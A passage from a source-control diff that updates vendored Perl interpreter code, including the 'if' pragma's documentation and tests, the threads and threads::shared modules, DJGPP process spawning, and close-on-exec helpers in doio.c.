+effect if C<CONDITION> evaluates to false.  (The module name, assuming it
+contains at least one C<::>, must be quoted when C<'use strict "subs";'> is in
+effect.)  If the CONDITION does evaluate to true, then the above line has the
+same effect as:
 
-The use of C<< => >> above provides necessary quoting of C<MODULE>.
-If you don't use the fat comma (eg you don't have any ARGUMENTS),
-then you'll need to quote the MODULE.
+    use MODULE ARGUMENTS;
 
-=head2 EXAMPLES
+For example, the F<Unicode::UCD> module's F<charinfo> function will use two functions from F<Unicode::Normalize> only if a certain condition is met:
 
-The following line is taken from the testsuite for L<File::Map>:
+    use if defined &DynaLoader::boot_DynaLoader,
+        "Unicode::Normalize" => qw(getCombinClass NFD);
 
-  use if $^O ne 'MSWin32', POSIX => qw/setlocale LC_ALL/;
+Suppose you wanted C<ARGUMENTS> to be an empty list, I<i.e.>, to have the
+effect of:
 
-If run on any operating system other than Windows,
-this will import the functions C<setlocale> and C<LC_ALL> from L<POSIX>.
-On Windows it does nothing.
+    use MODULE ();
 
-The following is used to L<deprecate> core modules beyond a certain version of Perl:
+You can't do this with the C<if> pragma; however, you can achieve
+exactly this effect, at compile time, with:
 
-  use if $] > 5.016, 'deprecate';
+    BEGIN { require MODULE if CONDITION }
 
-This line is taken from L<Text::Soundex> 3.04,
-and marks it as deprecated beyond Perl 5.16.
-If you C<use Text::Soundex> in Perl 5.18, for example,
-and you have used L<warnings>,
-then you'll get a warning message
-(the deprecate module looks to see whether the
-calling module was C<use>'d from a core library directory,
-and if so, generates a warning),
-unless you've installed a more recent version of L<Text::Soundex> from CPAN.
+=head2 C<no if>
 
-You can also specify to NOT use something:
+The C<no if> construct is mainly used to deactivate categories of warnings
+when those categories would produce superfluous output under specified
+versions of F<perl>.
 
- no if $] ge 5.021_006, warnings => "locale";
+For example, the C<redundant> category of warnings was introduced in
+Perl-5.22.  This warning flags certain instances of superfluous arguments to
+C<printf> and C<sprintf>.  But if your code was running warnings-free on
+earlier versions of F<perl> and you don't care about C<redundant> warnings in
+more recent versions, you can call:
 
-This warning category was added in the specified Perl version (a development
-release).  Without the C<'if'>, trying to use it in an earlier release would
-generate an unknown warning category error.
+    use warnings;
+    no if $] >= 5.022, q|warnings|, qw(redundant);
 
+    my $test    = { fmt  => "%s", args => [ qw( x y ) ] };
+    my $result  = sprintf $test->{fmt}, @{$test->{args}};
+
+The C<no if> construct assumes that a module or pragma has correctly
+implemented an C<unimport()> method -- but most modules and pragmata have not.
+That explains why the C<no if> construct is of limited applicability.
+
 =head1 BUGS
 
-The current implementation does not allow specification of the
-required version of the module.
+The current implementation does not allow specification of the required
+version of the module.
 
 =head1 SEE ALSO
 
@@ -96,8 +99,8 @@
 L<Module::Load::Conditional> provides a number of functions you can use to
 query what modules are available, and then load one or more of them at runtime.
 
-L<provide> can be used to select one of several possible modules to load,
-based on what version of Perl is running.
+The L<provide> module from CPAN can be used to select one of several possible
+modules to load based on the version of Perl that is running.
 
 =head1 AUTHOR
 

Modified: vendor/perl/dist/dist/if/t/if.t
===================================================================
--- vendor/perl/dist/dist/if/t/if.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/if/t/if.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 #!./perl
 
 use strict;
-use Test::More tests => 10;
+use Test::More tests => 18;
 
-my $v_plus = $] + 1;
+my $v_plus  = $] + 1;
 my $v_minus = $] - 1;
 
 unless (eval 'use open ":std"; 1') {
@@ -12,29 +12,85 @@
   eval 'sub open::foo{}';		# Just in case...
 }
 
-no strict;
+{
+    no strict;
 
-is( eval "use if ($v_minus > \$]), strict => 'subs'; \${'f'} = 12", 12,
-    '"use if" with a false condition, fake pragma');
-is( eval "use if ($v_minus > \$]), strict => 'refs'; \${'f'} = 12", 12,
-    '"use if" with a false condition and a pragma');
+    is( eval "use if ($v_minus > \$]), strict => 'subs'; \${'f'} = 12", 12,
+        '"use if" with a false condition, fake pragma');
+    is( eval "use if ($v_minus > \$]), strict => 'refs'; \${'f'} = 12", 12,
+        '"use if" with a false condition and a pragma');
 
-is( eval "use if ($v_plus > \$]), strict => 'subs'; \${'f'} = 12", 12,
-    '"use if" with a true condition, fake pragma');
+    is( eval "use if ($v_plus > \$]), strict => 'subs'; \${'f'} = 12", 12,
+        '"use if" with a true condition, fake pragma');
 
-is( eval "use if ($v_plus > \$]), strict => 'refs'; \${'f'} = 12", undef,
-    '"use if" with a true condition and a pragma');
-like( $@, qr/while "strict refs" in use/, 'expected error message'),
+    is( eval "use if ($v_plus > \$]), strict => 'refs'; \${'f'} = 12", undef,
+        '"use if" with a true condition and a pragma');
+    like( $@, qr/while "strict refs" in use/, 'expected error message'),
 
-# Old version had problems with the module name 'open', which is a keyword too
-# Use 'open' =>, since pre-5.6.0 could interpret differently
-is( (eval "use if ($v_plus > \$]), 'open' => IN => ':crlf'; 12" || 0), 12,
-    '"use if" with open');
+    # Old version had problems with the module name 'open', which is a keyword too
+    # Use 'open' =>, since pre-5.6.0 could interpret differently
+    is( (eval "use if ($v_plus > \$]), 'open' => IN => ':crlf'; 12" || 0), 12,
+        '"use if" with open');
 
-is(eval "use if ($v_plus > \$])", undef,
-   "Too few args to 'use if' returns <undef>");
-like($@, qr/Too few arguments to 'use if'/, "  ... and returns correct error");
+    is(eval "use if ($v_plus > \$])", undef,
+       "Too few args to 'use if' returns <undef>");
+    like($@, qr/Too few arguments to 'use if'/, "  ... and returns correct error");
 
-is(eval "no if ($v_plus > \$])", undef,
-   "Too few args to 'no if' returns <undef>");
-like($@, qr/Too few arguments to 'no if'/, "  ... and returns correct error");
+    is(eval "no if ($v_plus > \$])", undef,
+       "Too few args to 'no if' returns <undef>");
+    like($@, qr/Too few arguments to 'no if'/, "  ... and returns correct error");
+}
+
+{
+    note(q|RT 132732: strict 'subs'|);
+    use strict "subs";
+
+    {
+        SKIP: {
+            unless ($] >= 5.018) {
+                skip "bigrat apparently not testable prior to perl-5.18", 4;
+            }
+            note(q|strict "subs" : 'use if' : condition false|);
+            eval "use if (0 > 1), q|bigrat|, qw(hex oct);";
+            ok (! main->can('hex'), "Cannot call bigrat::hex() in importing package");
+            ok (! main->can('oct'), "Cannot call bigrat::oct() in importing package");
+
+            note(q|strict "subs" : 'use if' : condition true|);
+            eval "use if (1 > 0), q|bigrat|, qw(hex oct);";
+            ok (  main->can('hex'), "Can call bigrat::hex() in importing package");
+            ok (  main->can('oct'), "Can call bigrat::oct() in importing package");
+        }
+    }
+
+    {
+        note(q|strict "subs" : 'no if' : condition variable|);
+        note(($] >= 5.022) ? "Recent enough Perl: $]" : "Older Perl: $]");
+        use warnings;
+        SKIP: {
+            unless ($] >= 5.022) {
+                skip "Redundant argument warning not available in pre-5.22 perls", 4;
+            }
+
+            {
+                no if $] >= 5.022, q|warnings|, qw(redundant);
+                my ($test, $result, $warn);
+                local $SIG{__WARN__} = sub { $warn = shift };
+                $test = { fmt  => "%s", args => [ qw( x y ) ] };
+                $result = sprintf $test->{fmt}, @{$test->{args}};
+                is($result, $test->{args}->[0], "Got expected string");
+                ok(! $warn, "Redundant argument warning suppressed");
+            }
+
+            {
+                use if $] >= 5.022, q|warnings|, qw(redundant);
+                my ($test, $result, $warn);
+                local $SIG{__WARN__} = sub { $warn = shift };
+                $test = { fmt  => "%s", args => [ qw( x y ) ] };
+                $result = sprintf $test->{fmt}, @{$test->{args}};
+                is($result, $test->{args}->[0], "Got expected string");
+                like($warn, qr/Redundant argument in sprintf/,
+                    "Redundant argument warning generated and captured");
+            }
+        }
+    }
+}

Modified: vendor/perl/dist/dist/threads/lib/threads.pm
===================================================================
--- vendor/perl/dist/dist/threads/lib/threads.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/lib/threads.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '2.15';
+our $VERSION = '2.22';      # remember to update version in POD!
 my $XS_VERSION = $VERSION;
 $VERSION = eval $VERSION;
 
@@ -134,7 +134,7 @@
 
 =head1 VERSION
 
-This document describes threads version 2.15
+This document describes threads version 2.21
 
 =head1 WARNING
 
@@ -937,6 +937,33 @@
 On MSWin32, each thread maintains its own the current working directory
 setting.
 
+=item Locales
+
+Prior to Perl 5.28, locales could not be used with threads, due to various
+race conditions.  Starting in that release, on systems that implement
+thread-safe locale functions, threads can be used, with some caveats.
+This includes Windows starting with Visual Studio 2005, and systems compatible
+with POSIX 2008.  See L<perllocale/Multi-threaded operation>.
+
+Each thread (except the main thread) is started using the C locale.  The main
+thread is started like all other Perl programs; see L<perllocale/ENVIRONMENT>.
+You can switch locales in any thread as often as you like.
+
+If you want to inherit the parent thread's locale, you can, in the parent, set
+a variable like so:
+
+    $foo = POSIX::setlocale(LC_ALL, NULL);
+
+and then pass to threads->create() a sub that closes over C<$foo>.  Then, in
+the child, you say
+
+    POSIX::setlocale(LC_ALL, $foo);
+
+Or you can use the facilities in L<threads::shared> to pass C<$foo>;
+or if the environment hasn't changed, in the child, do
+
+    POSIX::setlocale(LC_ALL, "");
+
 =item Environment variables
 
 Currently, on all platforms except MSWin32, all I<system> calls (e.g., using
@@ -987,13 +1014,6 @@
 On some platforms, it might not be possible to destroy I<parent> threads while
 there are still existing I<child> threads.
 
-=item Creating threads inside special blocks
-
-Creating threads inside C<BEGIN>, C<CHECK> or C<INIT> blocks should not be
-relied upon.  Depending on the Perl version and the application code, results
-may range from success, to (apparently harmless) warnings of leaked scalar, or
-all the way up to crashing of the Perl interpreter.
-
 =item Unsafe signals
 
 Since Perl 5.8.0, signals have been made safer in Perl by postponing their
@@ -1018,16 +1038,27 @@
 If unsafe signals is in effect, then signal handling is not thread-safe, and
 the C<-E<gt>kill()> signalling method cannot be used.
 
-=item Returning closures from threads
+=item Identity of objects returned from threads
 
-Returning closures from threads should not be relied upon.  Depending on the
-Perl version and the application code, results may range from success, to
-(apparently harmless) warnings of leaked scalar, or all the way up to crashing
-of the Perl interpreter.
+When a value is returned from a thread through a C<join> operation,
+the value and everything that it references is copied across to the
+joining thread, in much the same way that values are copied upon thread
+creation.  This works fine for most kinds of value, including arrays,
+hashes, and subroutines.  The copying recurses through array elements,
+reference scalars, variables closed over by subroutines, and other kinds
+of reference.
 
-=item Returning objects from threads
+However, everything referenced by the returned value is a fresh copy in
+the joining thread, even if a returned object had in the child thread
+been a copy of something that previously existed in the parent thread.
+After joining, the parent will therefore have a duplicate of each such
+object.  This sometimes matters, especially if the object gets mutated;
+this can especially matter for private data to which a returned subroutine
+provides access.
 
-Returning objects from threads does not work.  Depending on the classes
+=item Returning blessed objects from threads
+
+Returning blessed objects from threads does not work.  Depending on the classes
 involved, you may be able to work around this by returning a serialized
 version of the object (e.g., using L<Data::Dumper> or L<Storable>), and then
 reconstituting it in the joining thread.  If you're using Perl 5.10.0 or

Modified: vendor/perl/dist/dist/threads/t/exit.t
===================================================================
--- vendor/perl/dist/dist/threads/t/exit.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/t/exit.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,7 +48,7 @@
 ok(! defined($rc), 'Exited: threads->exit()');
 
 
-run_perl(prog => 'use threads 2.15;' .
+run_perl(prog => 'use threads 2.21;' .
                  'threads->exit(86);' .
                  'exit(99);',
          nolib => ($ENV{PERL_CORE}) ? 0 : 1,
@@ -98,7 +98,7 @@
 ok(! defined($rc), 'Exited: $thr->set_thread_exit_only');
 
 
-run_perl(prog => 'use threads 2.15 qw(exit thread_only);' .
+run_perl(prog => 'use threads 2.21 qw(exit thread_only);' .
                  'threads->create(sub { exit(99); })->join();' .
                  'exit(86);',
          nolib => ($ENV{PERL_CORE}) ? 0 : 1,
@@ -108,7 +108,7 @@
     is($?>>8, 86, "'use threads 'exit' => 'thread_only'");
 }
 
-my $out = run_perl(prog => 'use threads 2.15;' .
+my $out = run_perl(prog => 'use threads 2.21;' .
                            'threads->create(sub {' .
                            '    exit(99);' .
                            '});' .
@@ -124,7 +124,7 @@
 like($out, qr/1 finished and unjoined/, "exit(status) in thread");
 
 
-$out = run_perl(prog => 'use threads 2.15 qw(exit thread_only);' .
+$out = run_perl(prog => 'use threads 2.21 qw(exit thread_only);' .
                         'threads->create(sub {' .
                         '   threads->set_thread_exit_only(0);' .
                         '   exit(99);' .
@@ -141,7 +141,7 @@
 like($out, qr/1 finished and unjoined/, "set_thread_exit_only(0)");
 
 
-run_perl(prog => 'use threads 2.15;' .
+run_perl(prog => 'use threads 2.21;' .
                  'threads->create(sub {' .
                  '   $SIG{__WARN__} = sub { exit(99); };' .
                  '   die();' .

Modified: vendor/perl/dist/dist/threads/t/kill3.t
===================================================================
--- vendor/perl/dist/dist/threads/t/kill3.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/t/kill3.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -36,8 +36,9 @@
 
 {
     $SIG{'KILL'} = undef;
-    chdir '/tmp';
-    my $dir = File::Spec->catdir( '/tmp', "toberead$$" );
+    my $tmp = File::Spec->tmpdir();
+    chdir $tmp;
+    my $dir = File::Spec->catdir( $tmp, "toberead$$" );
     mkdir $dir;
     chdir $dir;
     for ('a'..'e') {
@@ -77,8 +78,9 @@
 
 {
     $SIG{'KILL'} = undef;
-    chdir '/tmp';
-    my $dir = File::Spec->catdir( '/tmp', "shouldberead$$" );
+    my $tmp = File::Spec->tmpdir();
+    chdir $tmp;
+    my $dir = File::Spec->catdir( $tmp, "shouldberead$$" );
     mkdir $dir;
     chdir $dir;
     for ('a'..'e') {

Modified: vendor/perl/dist/dist/threads/t/problems.t
===================================================================
--- vendor/perl/dist/dist/threads/t/problems.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/t/problems.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,18 +21,14 @@
 
     $| = 1;
     if ($] == 5.008) {
-        print("1..11\n");   ### Number of tests that will be run ###
+        print("1..6\n");    ### Number of tests that will be run ###
     } else {
-        print("1..15\n");   ### Number of tests that will be run ###
+        print("1..10\n");   ### Number of tests that will be run ###
     }
 };
 
 print("ok 1 - Loaded\n");
 
-### Start of Testing ###
-
-no warnings 'deprecated';       # Suppress warnings related to :unique
-
 use Hash::Util 'lock_keys';
 
 my $test :shared = 2;
@@ -93,50 +89,6 @@
 }
 
 
-# bugid 24383 - :unique hashes weren't being made readonly on interpreter
-# clone; check that they are.
-
-our $unique_scalar : unique;
-our @unique_array : unique;
-our %unique_hash : unique;
-threads->create(sub {
-        lock($test);
-        my $TODO = ":unique needs to be re-implemented in a non-broken way";
-        eval { $unique_scalar = 1 };
-        print $@ =~ /read-only/
-          ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
-        $test++;
-        eval { $unique_array[0] = 1 };
-        print $@ =~ /read-only/
-          ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
-        $test++;
-        if ($] >= 5.008003 && $^O ne 'MSWin32') {
-            eval { $unique_hash{abc} = 1 };
-            print $@ =~ /disallowed/
-              ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
-        } else {
-            print("ok $test # SKIP $TODO - unique_hash\n");
-        }
-        $test++;
-    })->join;
-
-# bugid #24940 :unique should fail on my and sub declarations
-
-for my $decl ('my $x : unique', 'sub foo : unique') {
-    {
-        lock($test);
-        if ($] >= 5.008005) {
-            eval $decl;
-            print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
-                    ? '' : 'not ', "ok $test - $decl\n";
-        } else {
-            print("ok $test # SKIP $decl\n");
-        }
-        $test++;
-    }
-}
-
-
 # Returning a closure from a thread caused problems. If the last index in
 # the anon sub's pad wasn't for a lexical, then a core dump could occur.
 # Otherwise, there might be leaked scalars.

Modified: vendor/perl/dist/dist/threads/t/thread.t
===================================================================
--- vendor/perl/dist/dist/threads/t/thread.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/t/thread.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -161,7 +161,7 @@
 
 # bugid #24165
 
-run_perl(prog => 'use threads 2.15;' .
+run_perl(prog => 'use threads 2.21;' .
                  'sub a{threads->create(shift)} $t = a sub{};' .
                  '$t->tid; $t->join; $t->tid',
          nolib => ($ENV{PERL_CORE}) ? 0 : 1,

Added: vendor/perl/dist/dist/threads/t/unique.t
===================================================================
--- vendor/perl/dist/dist/threads/t/unique.t	                        (rev 0)
+++ vendor/perl/dist/dist/threads/t/unique.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,81 @@
+use strict;
+use warnings;
+
+BEGIN {
+    use Config;
+    if (! $Config{'useithreads'}) {
+        print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
+        exit(0);
+    }
+    if ($] >= 5.027000) {
+        print("1..0 # SKIP 'unique' attribute no longer exists\n");
+        exit(0);
+    }
+}
+
+use ExtUtils::testlib;
+
+use threads;
+
+BEGIN {
+    if (! eval 'use threads::shared; 1') {
+        print("1..0 # SKIP threads::shared not available\n");
+        exit(0);
+    }
+
+    $| = 1;
+    print("1..6\n") ;           ### Number of tests that will be run ###
+}
+
+print("ok 1 - Loaded\n");
+
+### Start of Testing ###
+
+no warnings 'deprecated';       # Suppress warnings related to :unique
+
+my $test :shared = 2;
+
+# bugid 24383 - :unique hashes weren't being made readonly on interpreter
+# clone; check that they are.
+
+our $unique_scalar : unique;
+our @unique_array : unique;
+our %unique_hash : unique;
+threads->create(sub {
+        lock($test);
+        my $TODO = ":unique needs to be re-implemented in a non-broken way";
+        eval { $unique_scalar = 1 };
+        print $@ =~ /read-only/
+          ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
+        $test++;
+        eval { $unique_array[0] = 1 };
+        print $@ =~ /read-only/
+          ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
+        $test++;
+        if ($] >= 5.008003 && $^O ne 'MSWin32') {
+            eval { $unique_hash{abc} = 1 };
+            print $@ =~ /disallowed/
+              ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
+        } else {
+            print("ok $test # SKIP $TODO - unique_hash\n");
+        }
+        $test++;
+    })->join;
+
+# bugid #24940 :unique should fail on my and sub declarations
+
+for my $decl ('my $x : unique', 'sub foo : unique') {
+    {
+        lock($test);
+        if ($] >= 5.008005) {
+            eval $decl;
+            print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
+                    ? '' : 'not ', "ok $test - $decl\n";
+        } else {
+            print("ok $test # SKIP $decl\n");
+        }
+        $test++;
+    }
+}
+
+

Modified: vendor/perl/dist/dist/threads/threads.xs
===================================================================
--- vendor/perl/dist/dist/threads/threads.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads/threads.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,6 +35,17 @@
 #  endif
 #endif
 
+#ifndef CLANG_DIAG_IGNORE
+# define CLANG_DIAG_IGNORE(x)
+# define CLANG_DIAG_RESTORE
+#endif
+#ifndef CLANG_DIAG_IGNORE_STMT
+# define CLANG_DIAG_IGNORE_STMT(x) CLANG_DIAG_IGNORE(x) NOOP
+# define CLANG_DIAG_RESTORE_STMT CLANG_DIAG_RESTORE NOOP
+# define CLANG_DIAG_IGNORE_DECL(x) CLANG_DIAG_IGNORE(x) dNOOP
+# define CLANG_DIAG_RESTORE_DECL CLANG_DIAG_RESTORE dNOOP
+#endif
+
 #ifdef USE_ITHREADS
 
 #ifdef __amigaos4__
@@ -569,6 +580,8 @@
     S_set_sigmask(&thread->initial_sigmask);
 #endif
 
+    thread_locale_init();
+
     PL_perl_destruct_level = 2;
 
     {
@@ -654,6 +667,8 @@
     MUTEX_UNLOCK(&thread->mutex);
     MUTEX_UNLOCK(&MY_POOL.create_destruct_mutex);
 
+    thread_locale_term();
+
     /* Exit application if required */
     if (exit_app) {
         (void)S_jmpenv_run(aTHX_ 2, thread, NULL, &exit_app, &exit_code);
@@ -870,15 +885,18 @@
            reallocated (and hence move) as a side effect of calls to
            perl_clone() and sv_dup_inc(). Hence copy the parameters
            somewhere under our control first, before duplicating.  */
+        if (num_params) {
 #if (PERL_VERSION > 8)
-        Copy(parent_perl->Istack_base + params_start, array, num_params, SV *);
+            Copy(parent_perl->Istack_base + params_start, array, num_params, SV *);
 #else
-        Copy(parent_perl->Tstack_base + params_start, array, num_params, SV *);
+            Copy(parent_perl->Tstack_base + params_start, array, num_params, SV *);
 #endif
-        while (num_params--) {
-            *array = sv_dup_inc(*array, clone_param);
-            ++array;
+            while (num_params--) {
+                *array = sv_dup_inc(*array, clone_param);
+                ++array;
+            }
         }
+
 #if (PERL_VERSION > 13) || (PERL_VERSION == 13 && PERL_SUBVERSION > 1)
         Perl_clone_params_del(clone_param);
 #endif
@@ -1016,14 +1034,10 @@
     MUTEX_UNLOCK(&my_pool->create_destruct_mutex);
     return (thread);
 
-#if defined(__clang__) || defined(__clang)
-    CLANG_DIAG_IGNORE(-Wthread-safety);
+    CLANG_DIAG_IGNORE_STMT(-Wthread-safety);
     /* warning: mutex 'thread->mutex' is not held on every path through here [-Wthread-safety-analysis] */
-#endif
 }
-#if defined(__clang__) || defined(__clang)
-CLANG_DIAG_RESTORE
-#endif
+CLANG_DIAG_RESTORE_DECL;
 
 #endif /* USE_ITHREADS */
 
@@ -1161,10 +1175,10 @@
 
         /* Let thread run. */
         /* See S_ithread_run() for more detail. */
-        CLANG_DIAG_IGNORE(-Wthread-safety);
+        CLANG_DIAG_IGNORE_STMT(-Wthread-safety);
         /* warning: releasing mutex 'thread->mutex' that was not held [-Wthread-safety-analysis] */
         MUTEX_UNLOCK(&thread->mutex);
-        CLANG_DIAG_RESTORE;
+        CLANG_DIAG_RESTORE_STMT;
 
         /* XSRETURN(1); - implied */
 
@@ -1359,6 +1373,9 @@
             ptr_table_store(PL_ptr_table, &other_perl->Isv_undef, &PL_sv_undef);
             ptr_table_store(PL_ptr_table, &other_perl->Isv_no, &PL_sv_no);
             ptr_table_store(PL_ptr_table, &other_perl->Isv_yes, &PL_sv_yes);
+#  ifdef PL_sv_zero
+            ptr_table_store(PL_ptr_table, &other_perl->Isv_zero, &PL_sv_zero);
+#  endif
             params = (AV *)sv_dup((SV*)params_copy, clone_params);
             S_ithread_set(aTHX_ current_thread);
             Perl_clone_params_del(clone_params);
@@ -1787,6 +1804,9 @@
             ptr_table_store(PL_ptr_table, &other_perl->Isv_undef, &PL_sv_undef);
             ptr_table_store(PL_ptr_table, &other_perl->Isv_no, &PL_sv_no);
             ptr_table_store(PL_ptr_table, &other_perl->Isv_yes, &PL_sv_yes);
+#  ifdef PL_sv_zero
+            ptr_table_store(PL_ptr_table, &other_perl->Isv_zero, &PL_sv_zero);
+#  endif
             err = sv_dup(thread->err, clone_params);
             S_ithread_set(aTHX_ current_thread);
             Perl_clone_params_del(clone_params);

Modified: vendor/perl/dist/dist/threads-shared/lib/threads/shared.pm
===================================================================
--- vendor/perl/dist/dist/threads-shared/lib/threads/shared.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads-shared/lib/threads/shared.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 
 use Scalar::Util qw(reftype refaddr blessed);
 
-our $VERSION = '1.56'; # Please update the pod, too.
+our $VERSION = '1.58'; # Please update the pod, too.
 my $XS_VERSION = $VERSION;
 $VERSION = eval $VERSION;
 
@@ -195,7 +195,7 @@
 
 =head1 VERSION
 
-This document describes threads::shared version 1.56
+This document describes threads::shared version 1.58
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/dist/threads-shared/shared.xs
===================================================================
--- vendor/perl/dist/dist/threads-shared/shared.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/threads-shared/shared.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -128,6 +128,15 @@
 #  include "shared.h"
 #endif
 
+#ifndef CLANG_DIAG_IGNORE
+# define CLANG_DIAG_IGNORE(x)
+# define CLANG_DIAG_RESTORE
+#endif
+#ifndef CLANG_DIAG_IGNORE_STMT
+# define CLANG_DIAG_IGNORE_STMT(x) CLANG_DIAG_IGNORE(x) NOOP
+# define CLANG_DIAG_RESTORE_STMT CLANG_DIAG_RESTORE NOOP
+#endif
+
 #ifdef USE_ITHREADS
 
 /* Magic signature(s) for mg_private to make PERL_MAGIC_ext magic safer */
@@ -656,17 +665,11 @@
     abs -= (NV)ts.tv_sec;
     ts.tv_nsec = (long)(abs * 1000000000.0);
 
-#if defined(__clang__) || defined(__clang)
-    CLANG_DIAG_IGNORE(-Wthread-safety);
+    CLANG_DIAG_IGNORE_STMT(-Wthread-safety);
     /* warning: calling function 'pthread_cond_timedwait' requires holding mutex 'mut' exclusively [-Wthread-safety-analysis] */
-#endif
-
     switch (pthread_cond_timedwait(cond, mut, &ts)) {
+	CLANG_DIAG_RESTORE_STMT;
 
-#if defined(__clang__) || defined(__clang)
-CLANG_DIAG_RESTORE;
-#endif
-
         case 0:         got_it = 1; break;
         case ETIMEDOUT:             break;
 #ifdef OEMVS

Modified: vendor/perl/dist/djgpp/djgpp.c
===================================================================
--- vendor/perl/dist/djgpp/djgpp.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/djgpp/djgpp.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -150,9 +150,10 @@
 int
 do_spawn2 (pTHX_ char *cmd,int execf)
 {
-    char **a,*s,*shell,*metachars;
-    int  rc,unixysh;
+    char **argv,**a,*s,*shell,*metachars;
+    int  rc,unixysh,result;
 
+    ENTER;
     if ((shell=getenv("SHELL"))==NULL && (shell=getenv("COMSPEC"))==NULL)
     	shell="c:\\command.com" EXTRA;
 
@@ -162,7 +163,7 @@
     while (*cmd && isSPACE(*cmd))
 	cmd++;
 
-    if (strnEQ (cmd,"/bin/sh",7) && isSPACE (cmd[7]))
+    if (strBEGINs (cmd,"/bin/sh") && isSPACE (cmd[7]))
         cmd+=5;
 
     /* save an extra exec if possible */
@@ -173,7 +174,7 @@
     {
         if (*cmd=='.' && isSPACE (cmd[1]))
             goto doshell;
-        if (strnEQ (cmd,"exec",4) && isSPACE (cmd[4]))
+        if (strBEGINs (cmd,"exec") && isSPACE (cmd[4]))
             goto doshell;
         for (s=cmd; *s && isALPHA (*s); s++) ;	/* catch VAR=val gizmo */
             if (*s=='=')
@@ -189,14 +190,18 @@
 	    }
 doshell:
 	    if (execf==EXECF_EXEC)
-                return convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf);
-            return convretcode (system (cmd),cmd,execf);
+                result = convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf);
+	    else
+		result = convretcode (system (cmd),cmd,execf);
+	    goto leave;
 	}
 
-    Newx (PL_Argv,(s-cmd)/2+2,char*);
-    PL_Cmd=savepvn (cmd,s-cmd);
-    a=PL_Argv;
-    for (s=PL_Cmd; *s;) {
+    Newx (argv,(s-cmd)/2+2,char*);
+    SAVEFREEPV(argv);
+    cmd=savepvn (cmd,s-cmd);
+    SAVEFREEPV(cmd);
+    a=argv;
+    for (s=cmd; *s;) {
 	while (*s && isSPACE (*s)) s++;
 	if (*s)
 	    *(a++)=s;
@@ -205,14 +210,19 @@
 	    *s++='\0';
     }
     *a=NULL;
-    if (!PL_Argv[0])
-        return -1;
+    if (!argv[0]) {
+        result = -1;
+	goto leave;
+    }
 
     if (execf==EXECF_EXEC)
-        rc=execvp (PL_Argv[0],PL_Argv);
+        rc=execvp (argv[0],argv);
     else
-        rc=spawnvp (P_WAIT,PL_Argv[0],PL_Argv);
-    return convretcode (rc,PL_Argv[0],execf);
+        rc=spawnvp (P_WAIT,argv[0],argv);
+    result = convretcode (rc,argv[0],execf);
+leave:
+    LEAVE;
+    return result;
 }
 
 int
@@ -265,7 +275,7 @@
             STRLEN len;
             glob_t pglob;
 
-            if (strnNE (name,"/dev/dosglob/",13))
+            if (! strBEGINs (name,"/dev/dosglob/"))
                 break;
             if ((gi=searchfd (-1)) == NULL)
                 break;

Modified: vendor/perl/dist/doio.c
===================================================================
--- vendor/perl/dist/doio.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/doio.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -60,6 +60,272 @@
 
 #include <signal.h>
 
+void
+Perl_setfd_cloexec(int fd)
+{
+    assert(fd >= 0);
+#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
+    (void) fcntl(fd, F_SETFD, FD_CLOEXEC);
+#endif
+}
+
+void
+Perl_setfd_inhexec(int fd)
+{
+    assert(fd >= 0);
+#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
+    (void) fcntl(fd, F_SETFD, 0);
+#endif
+}
+
+void
+Perl_setfd_cloexec_for_nonsysfd(pTHX_ int fd)
+{
+    assert(fd >= 0);
+    if(fd > PL_maxsysfd)
+	setfd_cloexec(fd);
+}
+
+void
+Perl_setfd_inhexec_for_sysfd(pTHX_ int fd)
+{
+    assert(fd >= 0);
+    if(fd <= PL_maxsysfd)
+	setfd_inhexec(fd);
+}
+void
+Perl_setfd_cloexec_or_inhexec_by_sysfdness(pTHX_ int fd)
+{
+    assert(fd >= 0);
+    if(fd <= PL_maxsysfd)
+	setfd_inhexec(fd);
+    else
+	setfd_cloexec(fd);
+}
+
+
+#define DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC) \
+	do { \
+	    int res = (GENOPEN_NORMAL); \
+	    if(LIKELY(res != -1)) GENSETFD_CLOEXEC; \
